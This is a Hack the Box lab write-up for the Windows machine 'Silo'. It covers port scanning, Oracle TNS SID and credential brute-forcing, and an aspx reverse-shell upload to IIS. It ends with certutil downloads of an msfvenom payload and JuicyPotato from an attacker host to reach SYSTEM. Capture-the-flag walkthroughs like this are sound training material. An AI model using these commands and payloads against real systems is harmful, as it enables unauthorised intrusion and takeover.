Hack the Box - Silo

Silo Overview

Machine Details

IP	Hostname	Operating System
10.10.10.82	Silo	Windows

Path to Exploitation

This was a new service to me that I had never seen before. To exploit this box, we’ll take advantage of an un-authenticated Oracle TNS listener which discloses a set of valid credentials to the database that we can use to get our foothold. Once on the box, the privilege escalation is pretty straight-forward. It’s another impersonation exploit using the juicy potato exploit.

Silo Enumeration

Full Port Scan

nmap 10.10.10.82 -p- -oA Silo/nmap/full-port --open -Pn -vv

Which Resulted In:

PORT	SERVICE
80	http
135	msrpc
139	netbios-ssn
445	microsoft-ds
1521	oracle
5985	wsman
8080	http-proxy
47001	winrm
49152	unknown
49153	unknown
49154	unknown
49155	unknown
49159	unknown
49160	unknown
49161	unknown
49162	unknown

Service Scan

nmap 10.10.10.82 -p 80,135,139,445,1521,5985,8080,47001,49152,49153,49154,49155,49159,49160,49161,49162 -sC -sV -oA Silo/nmap/service-scan -Pn

Which Resulting In:

PORT	SERVICE	VERSION
80	http	IIS httpd 8.5
135	msrpc	Windows RPC
139	netbios-ssn	Windows netbios-ssn
445	microsoft-ds	Windows Server 2008 R2 - 2012 microsoft-ds
1521	oracle-tns	TNS listener 11.2.0.2.0 (unauthorized)
5985	http	HTTPAPI httpd 2.0 (SSDP/UPnP)
8080	http	XML DB Enterprise Edition httpd
47001	http	HTTPAPI httpd 2.0 (SSDP/UPnP)
49152	msrpc	Windows RPC
49153	msrpc	Windows RPC
49154	msrpc	Windows RPC
49155	msrpc	Windows RPC
49159	oracle-tns	TNS listener (requires service name)
49160	msrpc	Windows RPC
49161	msrpc	Windows RPC
49162	msrpc	Windows RPC

Enumerating Oracle TNS

Using the resources found on the following site, we can enumerate and exploit the service.

PenTesting Oracle Listener

We’ll start with SID enumeration:

$ hydra -L /usr/share/metasploit-framework/data/wordlists/sid.txt -s 1521 10.10.10.82 oracle-sid

We identify the following SIDs

We can then try to bruteforce credentials using the identified SIDs, to do this we us the odat command line tool:

$ odat all -s 10.10.10.82 -p 1521 -d XE

Found valid credentials

scott : tiger

We are able to login into the database now

$ sqlplus scott/tiger@10.10.10.82/XE 'as sysdba';

After researching, I was unable to find anything useful in terms of interacting with the database.

the odat command line tool also contains methods to execute commands remotely, we can use this feature to upload a malicious payload file.

Shell on Host

We can also try uploading a payload file to the web directory with the odat command line tool.

Generate the payload:

$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 -f aspx -o evil.aspx

Upload the file with the following command to place it in the web root directory:

$ odat dbmsxslprocessor -s 10.10.10.82 -d XE -U scott -P tiger --putFile "C:\inetpub\wwwroot" "evil.aspx" "/home/pharo/HacktheBox/Silo/evil.aspx" --sysdba

Setup a listener and navigate to http://10.10.10.82/evil.aspx

We see we’ve caught a shell as the defaultapppool user

Local Enumeration

User Enumeration

C:\> whoami /priv

C:\> whoami /groups

System Information

We see that we have the SeImpersonatePrivilege and the host is running on Windows Server 2012 R2 Standard. We can likely use the JuicyPotato Exploit to escalate our privileges.

Privilege Escalation

We’ll use the Juicy Potato exploit. Start by generating a reverse shell payload.

$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.2 LPORT=443 -f exe -o evil.exe

upload both the payload and the exploit to the machine

C:\> certutil -urlcache -f http://10.10.14.2/juicypotato.exe juicypotato.exe
C:\> certutil -urlcache -f http://10.10.14.2/evil.exe evil.exe

Before running the exploit we need to identify a valid CLSID. To do this we use the test_clsid.bat file and the list of CLSIDs for our host OS

Upload both of the files to the host as well

C:\> certutil -urlcache -f http://10.10.14.2/test_clsid.bat test_clsid.bat
C:\> certutil -urlcache -f http://10.10.14.2/CLSID.list CLSID.list

The script will go through and print all the tested CLSIDs and whenever the number increases it indicates a valid CLSID. Although in my experience not all the “valid” CLSIDs actually worked.

After testing several “valid” CLSIDs I found one that finally worked

C:\> juicypotato.exe -l 1337 -p "C:\temp\evil.exe" -t * -c {69AD4AEE-51BE-439b-A92C-86AE490E8B30}

On our listener we see we have a shell as the SYSTEM account